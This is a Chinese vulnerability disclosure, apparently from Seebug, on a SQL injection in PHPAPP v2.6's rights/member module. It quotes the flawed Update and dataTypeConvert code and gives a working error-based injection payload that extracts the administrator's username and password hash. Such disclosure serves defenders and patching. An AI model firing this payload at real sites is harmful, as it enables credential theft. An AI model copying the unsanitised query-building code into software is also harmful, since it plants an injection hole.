PHPAPP注入第十三枚(无视过滤)

2014-12-31T00:00:00
ID SSV:95687
Type seebug
Reporter Root
Modified 2014-12-31T00:00:00

Description

简要描述:

PHPAPP注入第十三枚(无视过滤)

详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/member.php?action=1&app=42&cid=85&rid=973, 存在漏洞的文件在/phpapp/apps/rights/member_phpapp.php 下面分析一下漏洞产生的原因 第一处绕过: 先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤! 第二处绕过:

``` if($this->cid>0){ $getprocess=new TaskProcess(); $consumearr=$this->GetMysqlOne('a.,b.oid,b.tid,b.buyeruid,b.selleruid,b.runid'," ".$this->GetTable('consume')." AS a JOIN ".$this->GetTable('task_order')." AS b ON a.cid=b.cid WHERE a.cid='$this->cid' AND a.process=5 AND b.buyeruid='$this->uid'"); //认证 $selleruid=$consumearr['selleruid']; $issellersecurity=0; if($this->IsSQL('member_security_certificate'," WHERE sid=1 AND uid='$selleruid' ")){ $issellersecurity=1; }
if($this->rid>0){ $refund=$this->GetMysqlOne('
'," ".$this->GetTable('rights')." WHERE rid='$this->rid' AND buyeruid='$this->uid'"); }else{ $refund=$this->GetMysqlOne(''," ".$this->GetTable('rights')." WHERE cid='$this->cid' AND buyeruid='$this->uid'"); if($refund['rid']>0){ $this->rid=$refund['rid']; } } if($consumearr['cid']>0){ if(true==true){ $sellerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[selleruid]' "); $buyerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[buyeruid]' "); if($this->uid!=$consumearr['buyeruid']){ $this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1'); } //维权时间$rightsendtime=$consumearr['dateline']+intval(PHPAPP::$config['orders_rights_date'])246060; if($this->POST['submit']){ if($this->IsSQL('rights',"WHERE cid='$this->cid' AND process=3")){ $this->Refresh('该订单您已经申请维权并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1'); } if($rightsendtime > $this->NowTime()){
$this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);
include_once(Core.'/class/photo_upload_phpapp.php'); if($_FILES['buyerphoto']['size']>0){
$photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']); $upload=new UploadPhoto($_FILES['buyerphoto'],$photoid); $photoid=$upload->CheckUpload();
}else{
if(!empty($refund['buyerphoto'])){

                                                 $photoid=intval($refund['buyerphoto']);    
                                           }                                              
                                     }  
                                   $edittxt='';
                                   if($this->rid>0){
                                        $edittxt='修改了';
                                   }                                            
                                   if($this->rid>0){  $this->Update('rights',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");

                                   }

```

看到了这句$this->Update('rights',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");把整个post的内容带入了Update方法,再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php

//表名, 修改数组,添加合并数组,条件 function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){ $setarray=array_merge($setarray,$addarr); $deletearr=$this->GetMysqlFieldArray($tablename); if($setarray){ $sqlset=''; foreach($setarray as $key=>$value){ $_key=strtolower($key); if(isset($deletearr[$_key])){ $value=$this->dataTypeConvert($value,$deletearr[$_key]); if($sqlset){ $sqlset.=',`'.$_key.'`=\''.$value.'\''; }else{ $sqlset='`'.$_key.'`=\''.$value.'\''; } } } $query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif); //exit($query); return $this->MysqlQuery($query); }else{ return false; } }

Update代码防注分析: 1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性; 2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入; 3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。 如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。

function dataTypeConvert($data,$type){ switch($type){ case 'int': $data=intval($data); break; case 'real': $data=doubleval($data); break; case 'timestamp': $data=intval($data); break; case 'string': case 'year': case 'date': case 'time': case 'datetime': case 'blob': default: //$data=intval($data); break; } return $data; }

只对int、real、timestamp做了处理,其他的类型这里没有处理。 绕过方法: 在提交http请求时,可以提交其他类型的参数,但其他参数必须是数据表(phpapp_rights)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以注入。 测试时请保证自己的账号有可以维权的订单,如果没有的话,(真实的网站肯定可以有订单)为了测试方便,把if($consumearr['cid']>0)和if($rightsendtime > $this->NowTime())改为if(true==true)且把 if($this->uid!=$consumearr['buyeruid'])改为if(1==2) 下面以sellercontent为例进行证明: Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交)

submit=111&content=111111&sellercontent=' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat (0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'

注入成功,管理员用户名及密码如下图中所示:

<img src="https://images.seebug.org/upload/201412/272352494e5991dfb1af246fc9c8520660de90ca.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明